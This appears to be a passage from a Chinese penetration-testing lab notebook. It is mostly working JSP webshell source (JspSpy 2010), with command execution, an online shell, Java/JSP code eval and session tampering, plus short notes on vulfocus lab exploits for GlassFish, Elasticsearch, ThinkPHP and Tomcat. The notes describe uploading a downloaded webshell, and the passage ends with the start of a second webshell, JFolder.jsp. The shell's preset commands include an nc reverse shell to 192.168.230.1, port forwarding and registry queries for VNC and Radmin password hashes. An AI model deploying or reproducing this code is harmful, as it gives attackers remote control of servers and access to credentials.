out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
/*
                    Map envs = System.getenv();
Set<Map.Entry<String,String>> entrySet = envs.entrySet();
for (Map.Entry<String,String> en:entrySet) {
out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
}*/
out.println("</ul></div></td>"+
"      </tr>"+
"    </table>");
} catch (Exception e) {

throw e ;
}
}
}
private static class ReflectInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String c = request.getParameter("Class");
Class cls = null;
try {
if (!Util.isEmpty(c))
cls = Class.forName(c);
} catch (ClassNotFoundException ex) {
Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
}
out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
"  <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"    <tr>"+
"      <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"+
"          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"            <tr>"+
"              <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
"              <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
"            </tr>"+
"            "+
"          </table>"+
"        </td>"+
"    </tr>"+
"  </table>"+
"</form>");

if (cls != null) {
StringBuffer sb = new StringBuffer();
if (cls.getPackage() != null)
sb.append("package "+cls.getPackage().getName()+";\n");
String n = null;
if (cls.isInterface())
n = "";
//else if (cls.isEnum())
//    n = "enum";
else
n = "class";
sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
if (cls.getSuperclass() != null)
sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
Class[] faces = cls.getInterfaces();
sb.append("\t implements ");
for (int i = 0;i<faces.length;i++) {
sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
if (i != faces.length -1) {
sb.append(",");
}
}
}
sb.append("{\n\t\n");
sb.append("\t//constructors..\n");
Constructor[] cs = cls.getConstructors();
for (int i = 0;i<cs.length;i++) {
Constructor cc = cs[i];
sb.append("\t"+cc+";\n");
}
sb.append("\n\t//fields\n");
Field[] fs = cls.getDeclaredFields();
for (int i =0;i<fs.length;i++) {
Field f = fs[i];
sb.append("\t"+f.toString()+";");
if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
sb.append("\t//value is : ");
f.setAccessible(true);
Object obj = f.get(null);
sb.append("<span style='color:red'>");
if (obj != null)
sb.append(obj.toString());
else
sb.append("NULL");

sb.append("</span>");
} 
sb.append("\n");
}

sb.append("\n\t//methods\n");
Method[] ms = cls.getDeclaredMethods();
for (int i =0;i<ms.length;i++) {
Method m = ms[i];
sb.append("\t"+ m.toString()+";\n");
}
sb.append("}\n");
String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t","&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll("\n","<br/>")+"</span>";
Util.outMsg(out,m,"left");
}
} catch (Exception e) {
throw e;
}
}
}
private static class TopInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
"    <tr class=\"head\">"+
"        <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2010 </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
"    </tr>"+
"    <tr class=\"alt1\">"+
"        <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
"            <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
"            <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
"            <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
"            <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
"            <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
"            <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
"            <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
"            <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
"            <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
"            <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
"            <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
"            <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
"            <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
"            <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
"    </tr>"+
"</table>");
if (JSession.getAttribute(MSG) != null) {
Util.outMsg(out,JSession.getAttribute(MSG).toString());
JSession.removeAttribute(MSG);
} 
if (JSession.getAttribute(ENTER_MSG) != null) {
String outEntry = request.getParameter("outentry");
if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
} 
} catch (Exception e) {

throw e ;
}
}
}
private static class VOnLineShellInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<script>"+
"                function $(id) {"+
"                    return document.getElementById(id);"+
"                }"+
"                var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
"                window.onload = function(){"+
"                    setInterval(function(){"+
"                        if ($(\"autoscroll\").checked)"+
"                        {"+
"                            var f = window.frames[\"echo\"];"+
"                            if (f && f.document && f.document.body)"+
"                            {"+
"                                if (!ie)"+
"                                {"+
"                                    if (f.document.body.offsetHeight)"+
"                                    {"+
"                                        f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
"                                    }"+
"                                } else {"+
"                                    f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
"                                }"+
"                            }"+
"                        }"+
"                    },500);"+
"                }"+
"            </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td>");
out.println("<h2>Shell OnLine &raquo;</h2><br/>");
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
"            <input type=\"submit\" value=\" start \" class=\"bt\">"+
"                <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
"                <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
"            </form>"+
"            <hr/>"+
"                <iframe class=\"secho\" name=\"echo\" src=\"\">"+
"                </iframe>"+
"                <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
"                    <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
"                    <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
"                    <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
"                        <option value=\"\" selected> </option>"+
"                        <option value=\"uname -a\">uname -a</option>"+
"                        <option value=\"cat /etc/issue\">issue</option>"+
"                        <option value=\"cat /etc/passwd\">passwd</option>"+
"                        <option value=\"netstat -an\">netstat -an</option>"+
"                        <option value=\"net user\">net user</option>"+
"                        <option value=\"tasklist\">tasklist</option>"+
"                        <option value=\"tasklist /svc\">tasklist /svc</option>"+
"                        <option value=\"net start\">net start</option>"+
"                        <option value=\"net stop policyagent /yes\">net stop</option>"+
"                        <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
"                        <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
"                        <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
"                        <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
"                        <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
"                        <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
"                        <option value=\"systeminfo\">systeminfo</option>"+
"                        <option value=\"net localgroup\">view groups</option>"+
"                        <option value=\"net localgroup administrators\">view admins</option>"+
"                    </select>"+
"                    <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
"                    <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
"                </form>"+
"            <iframe style=\"display:none\" name=\"asyn\"></iframe>"
);
out.println("    </td>"+
"  </tr>"+
"</table>");
} catch (Exception e) {
throw e ;
}
}
}
private static class OnLineInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String type = request.getParameter("type");
if (Util.isEmpty(type))
return;
if (type.toLowerCase().equals("start")) {
String exe = request.getParameter("exe");
if (Util.isEmpty(exe))
return;
Process pro = Runtime.getRuntime().exec(exe);
ByteArrayOutputStream outs = new ByteArrayOutputStream();
response.setContentLength(100000000);
response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
OnLineProcess olp = new OnLineProcess(pro);
JSession.setAttribute(SHELL_ONLINE,olp);
new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
Thread.sleep(1000 * 60 * 60 * 24);
} else if (type.equals("ecmd")) {
Object o = JSession.getAttribute(SHELL_ONLINE);
String cmd = request.getParameter("cmd");
if (Util.isEmpty(cmd))
return;
if (o == null)
return;
OnLineProcess olp = (OnLineProcess)o;
olp.setCmd(cmd);
} else {
Object o = JSession.getAttribute(SHELL_ONLINE);
if (o == null)
return;
OnLineProcess olp = (OnLineProcess)o;
olp.stop();
}
} catch (Exception e) {

throw e;
}
}
}
private static class EnterInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
PrintWriter out = response.getWriter();
String type = request.getParameter("type");
if (!Util.isEmpty(type)) {
JSession.removeAttribute(ENTER);
JSession.removeAttribute(ENTER_MSG);
JSession.removeAttribute(ENTER_CURRENT_DIR);
JSession.setAttribute(MSG,"Exit File Success ! ");
} else {
String f = request.getParameter("filepath");
if (Util.isEmpty(f))
return;
JSession.setAttribute(ENTER,f);
JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
}
response.sendRedirect(SHELL_NAME);
}
}
private static class VExport2FileInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
PrintWriter out = response.getWriter();
String type = request.getParameter("type");
String sql = request.getParameter("sql");
String table = request.getParameter("table");
if (Util.isEmpty(sql) && Util.isEmpty(table)) {
JSession.setAttribute(SESSION_O,"vConn");
response.sendRedirect(SHELL_NAME);
return;
}
out.println("<form action=\"\" method=\"post\">"+
"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td>"+
"    <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
"    <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
"    <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","&quot;"))+"\"/>"+
"    <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
"    <h2>Export To File &raquo;</h2>"+
"        "+
"    <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","&quot;"))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
" <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
" <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
"        </tr>"+
"      </table>"+
"</form>");
}
}

private static class ExportInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
String type = request.getParameter("type");
String filepath = request.getParameter("filepath");
String encode = request.getParameter("encode");
String sql = null;
DBOperator dbo = null;
dbo = (DBOperator)JSession.getAttribute(DBO);

if (Util.isEmpty(type)) {
//table export
String tb = request.getParameter("table");
if (Util.isEmpty(tb))
return;
String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
sql = "select * from "+s+tb+s;

} else if (type.equals("queryexp")) {
//query export
sql = request.getParameter("sql");
if (Util.isEmpty(sql)) {
JSession.setAttribute(SESSION_O,"vConn");
response.sendRedirect(SHELL_NAME);
return;
}
}
Object o = dbo.execute(sql);
ByteArrayOutputStream bout = new ByteArrayOutputStream(); 
byte[] rowSep = "\r\n".getBytes();
if (o instanceof ResultSet) {
ResultSet rs = (ResultSet)o;
ResultSetMetaData meta = rs.getMetaData();
int count = meta.getColumnCount();
for (int i =1;i<=count;i++) {
String colName = meta.getColumnName(i)+"\t";
byte[] b = null;
if (Util.isEmpty(encode))
b = colName.getBytes();
else 
b = colName.getBytes(encode);
bout.write(b,0,b.length);
}
bout.write(rowSep,0,rowSep.length);
while (rs.next()) {
for (int i =1;i<=count;i++) {
String v = null;
try {
v = rs.getString(i);
} catch (SQLException ex) {
v = "<<Error!>>";
}
v += "\t";
byte[] b = null;
if (Util.isEmpty(encode))
b = v.getBytes();
else
b = v.getBytes(encode);
bout.write(b,0,b.length);
}
bout.write(rowSep,0,rowSep.length);
}
rs.close();
ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
BufferedOutputStream output = null;
if (!Util.isEmpty(filepath)) {
//export2file
output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
} else {
//download.
response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
output = new BufferedOutputStream(response.getOutputStream());
}
byte[] data = new byte[1024];
int len = input.read(data);
while (len != -1) {
output.write(data,0,len);
len = input.read(data);
}
bout.close();
input.close();
output.close();
if (!Util.isEmpty(filepath)) {
JSession.setAttribute(MSG,"Export To File Success !");
response.sendRedirect(SHELL_NAME);
}
} 
}
}
private static class EvalInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
String type = request.getParameter("type");
PrintWriter out = response.getWriter();
Object msg = JSession.getAttribute(MSG);
if (msg != null) {
Util.outMsg(out,(String)msg);
JSession.removeAttribute(MSG);
}
if (Util.isEmpty(type)) {
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2>Eval Java Code &raquo;</h2>"+
"<hr/>"+
"      <p>"+
"      <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\"  enctype=\"multipart/form-data\">"+
"UpLoad a Class File : ");
Util.outMsg(out,"<pre>"+
"<span style='color:blue'>public class</span> SpyEval{\r\n"+
"    <span style='color:blue'>static</span> {\r\n"+
"        <span style='color:green'>//Your Code Here.</span>\r\n"+
"    }\r\n"+
"}\r\n"+
"</pre>","left");
out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
"      <form action=\""+SHELL_NAME+"\"  method=\"post\"><p></p>Jsp Eval : <br/>"+
"      <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
"      <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
"      <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\"  />"+
"      </form>"+
"      </p>"+
"    </td>"+
"  </tr>"+
"</table>");
} else if (type.equals("jsp")){
String jspc = request.getParameter("jspc");
if (Util.isEmpty(jspc))
return;
File f = new File(SHELL_DIR,"evaltmpninty.jsp");
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
writer.write(jspc,0,jspc.length());
writer.flush();
writer.close();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2>Jsp Eval Result &raquo;</h2>");
out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
f.delete();
}
}
}
private static class EvalUploadInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
ByteArrayOutputStream stream = new ByteArrayOutputStream();
UploadBean upload = new UploadBean();
upload.setTargetOutput(stream);
upload.parseRequest(request);

if (stream.toByteArray().length == 2) {
JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
((Invoker)ins.get("ev")).invoke(request,response,JSession);
return;
}
SpyClassLoader loader = new SpyClassLoader();
try {
Class c = loader.defineClass(null,stream.toByteArray());
c.newInstance();
}catch(Exception e) {
}
stream.close();
JSession.setAttribute(MSG,"Eval Java Class Done ! ");
((Invoker)ins.get("ev")).invoke(request,response,JSession);
}
}
private static class VOtherInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object msg = JSession.getAttribute(MSG);
if (msg != null) {
Util.outMsg(out,(String)msg);
JSession.removeAttribute(MSG);
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"    <tr>"+
"      <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"+
"        <div id=\"hOWTm\" style=\"line-height:30px\">"+
"        <ul>");
Enumeration en = JSession.getAttributeNames();
while (en.hasMoreElements()) {
Object o = en.nextElement();
if (o.toString().equals(MSG))
continue;
out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
out.println("</form></li>");
}
out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
"<legend>New Session Attribute</legend>"+
"name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
" name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
" </fieldset></form></li></ul></div></td>"+
"    </tr>"+
"  </table>");
} catch (Exception e) {
throw e ;
}
}
}
//Session Manager
private static class SmInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String type = request.getParameter("type");
PrintWriter out = response.getWriter();
if (type.equals("update")) {
String name = request.getParameter("name");
String value = request.getParameter("value");
JSession.setAttribute(name,value);
JSession.setAttribute(MSG,"Update/Add Attribute Success !");
} else if (type.equals("delete")) {
String name = request.getParameter("name");
JSession.removeAttribute(name);
JSession.setAttribute(MSG,"Remove Attribute Success !");
}
((Invoker)ins.get("vother")).invoke(request,response,JSession);
} catch (Exception e) {

throw e ;
}
}
}

static{
ins.put("script",new ScriptInvoker());
ins.put("before",new BeforeInvoker());
ins.put("after",new AfterInvoker());
ins.put("deleteBatch",new DeleteBatchInvoker());
ins.put("clipboard",new ClipBoardInvoker());
ins.put("vPortScan",new VPortScanInvoker());
ins.put("portScan",new PortScanInvoker());
ins.put("vConn",new VConnInvoker());
ins.put("dbc",new DbcInvoker());
ins.put("executesql",new ExecuteSQLInvoker());
ins.put("vLogin",new VLoginInvoker());
ins.put("login",new LoginInvoker());
ins.put("filelist", new FileListInvoker());
ins.put("logout",new LogoutInvoker());
ins.put("upload",new UploadInvoker());
ins.put("copy",new CopyInvoker());
ins.put("bottom",new BottomInvoker());
ins.put("vCreateFile",new VCreateFileInvoker());
ins.put("vEdit",new VEditInvoker());
ins.put("createFile",new CreateFileInvoker());
ins.put("vEditProperty",new VEditPropertyInvoker());
ins.put("editProperty",new EditPropertyInvoker());
ins.put("vs",new VsInvoker());
ins.put("shell",new ShellInvoker());
ins.put("down",new DownInvoker());
ins.put("vd",new VdInvoker());
ins.put("downRemote",new DownRemoteInvoker());
ins.put("index",new IndexInvoker());
ins.put("mkdir",new MkDirInvoker());
ins.put("move",new MoveInvoker());
ins.put("removedir",new RemoveDirInvoker());
ins.put("packBatch",new PackBatchInvoker());
ins.put("pack",new PackInvoker());
ins.put("unpack",new UnPackInvoker());
ins.put("vmp",new VmpInvoker());
ins.put("vbc",new VbcInvoker());
ins.put("backConnect",new BackConnectInvoker());
ins.put("jspEnv",new JspEnvInvoker());
ins.put("smp",new SmpInvoker());
ins.put("mapPort",new MapPortInvoker());
ins.put("top",new TopInvoker());
ins.put("vso",new VOnLineShellInvoker());
ins.put("online",new OnLineInvoker());
ins.put("enter",new EnterInvoker());
ins.put("export",new ExportInvoker());
ins.put("ev",new EvalInvoker());
ins.put("eu",new EvalUploadInvoker());
ins.put("vother",new VOtherInvoker());
ins.put("sm",new SmInvoker());
ins.put("vExport",new VExport2FileInvoker());
ins.put("vPack",new VPackConfigInvoker());
ins.put("reflect",new ReflectInvoker());
ins.put("portBack",new PortBackInvoker());
}
%>
<%
try {
String o = request.getParameter("o");
if (Util.isEmpty(o)) {
if (session.getAttribute(SESSION_O) == null)
o = "index";
else {
o = session.getAttribute(SESSION_O).toString();
session.removeAttribute(SESSION_O);
}
}
Object obj = ins.get(o);
if (obj == null) {
response.sendRedirect(SHELL_NAME);
} else {
            Invoker in = (Invoker)obj;
if (in.doBefore()) {
String path = request.getParameter("folder");
if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
session.setAttribute(CURRENT_DIR,path);
((Invoker)ins.get("before")).invoke(request,response,session);
((Invoker)ins.get("script")).invoke(request,response,session);
((Invoker)ins.get("top")).invoke(request,response,session);
}
in.invoke(request,response,session);
if (!in.doAfter()) {
return;
}else{
((Invoker)ins.get("bottom")).invoke(request,response,session);
((Invoker)ins.get("after")).invoke(request,response,session);
}
}                    
} catch (Exception e) {
Object msg = session.getAttribute(MSG);
if (msg != null) {
Util.outMsg(out,(String)msg);
session.removeAttribute(MSG);
}
if (e.toString().indexOf("ClassCastException") != -1) {
Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
}
ByteArrayOutputStream bout = new ByteArrayOutputStream();
e.printStackTrace(new PrintStream(bout));
session.setAttribute(CURRENT_DIR,SHELL_DIR);
Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
bout.close();
out.flush();
((Invoker)ins.get("bottom")).invoke(request,response,session);
((Invoker)ins.get("after")).invoke(request,response,session);
}
%>

 

glassfish-4.1.0 文件读取

WP

https://fofapro.github.io/vulfocus/#/writeup/GlassFish%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/GlassFish%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E

elasticsearch 代码执行 (CVE-2014-3120)

WP

https://fofapro.github.io/vulfocus/#/writeup/CVE-2014-3120/CVE-2014-3120

咱就是说,xray真滴牛逼

thinkphp-2x-rce 代码执行

WP

https://fofapro.github.io/vulfocus/#/writeup/ThinkPHP_2.X%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ThinkPHP2.X%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

直接POST上去的时候会报错,但是菜刀就是可以链接,看来以后要每一个工具都要尝试一遍

thinkphp 命令执行 (CVE-2018-1002015)

WP

https://fofapro.github.io/vulfocus/#/writeup/thinkphp_5.0.21%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/thinkphp_5%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

thinkphp 代码执行 (CNVD-2018-24942) 环境

WP

https://fofapro.github.io/vulfocus/#/writeup/CNVD-2018-24942/CNVD-2018-24942

这个直接用POC-bomber也行

-url "" --attack

tomcat-pass-getshell 弱口令

wp

https://fofapro.github.io/vulfocus/#/writeup/tomcat-pass-getshell/tomcat-pass-getshell

发现了一个GitHub项目,https://github.com/tennc/webshell,里面有各种各样的webshell,这个是我下载的一个jsp大马,稍微改了一下编码格式,第一次用大马发现真滴好用,直接上传就可以访问了

<%
/**
JFolder V0.9  windows platform
@Filename: JFolder.jsp 
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能较弱。

@Bugs  :  下载时,中文文件名无法正常显示
*/
%>
<%@ page contentType="text/html;charset=utf-8"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 岁月联盟-专用版 </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.7jyewu.cn </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 统 属 性","System Property"};
String[] strHelp         = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers      = {"驱动器","Drivers"};
String[] strFileName     = {"文件名称","File Name"};
String[] strFileSize     = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下载","Download"};
String[] strFileCopy     = {"复制","Move"};
String[] strFileDel      = {"删除","Delete"};
String[] strExecute      = {"执行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"保存","Save"};

public class FileHandler
{
 private String strAction="";
 private String strFile="";
 void FileHandler(String action,String f)
 {
 
 }
}

public static class UploadMonitor {

  static Hashtable uploadTable = new Hashtable();

  static void set(String fName, UplInfo info) {
   uploadTable.put(fName, info);
  }

  static void remove(String fName) {
   uploadTable.remove(fName);
  }

  static UplInfo getInfo(String fName) {
   UplInfo info = (UplInfo) uploadTable.get(fName);
   return info;
  }
}

public class UplInfo {

  public long totalSize;
  public long currSize;
  public long starttime;
  public boolean aborted;

  public UplInfo() {
   totalSize = 0l;
   currSize = 0l;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public UplInfo(int size) {
   totalSize = size;
   currSize = 0;
   starttime = System.currentTimeMillis();
   aborted = false;
  }

  public String getUprate() {
   long time = System.currentTimeMillis() - starttime;
   if (time != 0) {
    long uprate = currSize * 1000 / time;
    return convertFileSize(uprate) + "/s";
   }
   else return "n/a";
  }

  public int getPercent() {
   if (totalSize == 0) return 0;
   else return (int) (currSize * 100 / totalSize);
  }

  public String getTimeElapsed() {
   long time = (System.currentTimeMillis() - starttime) / 1000l;
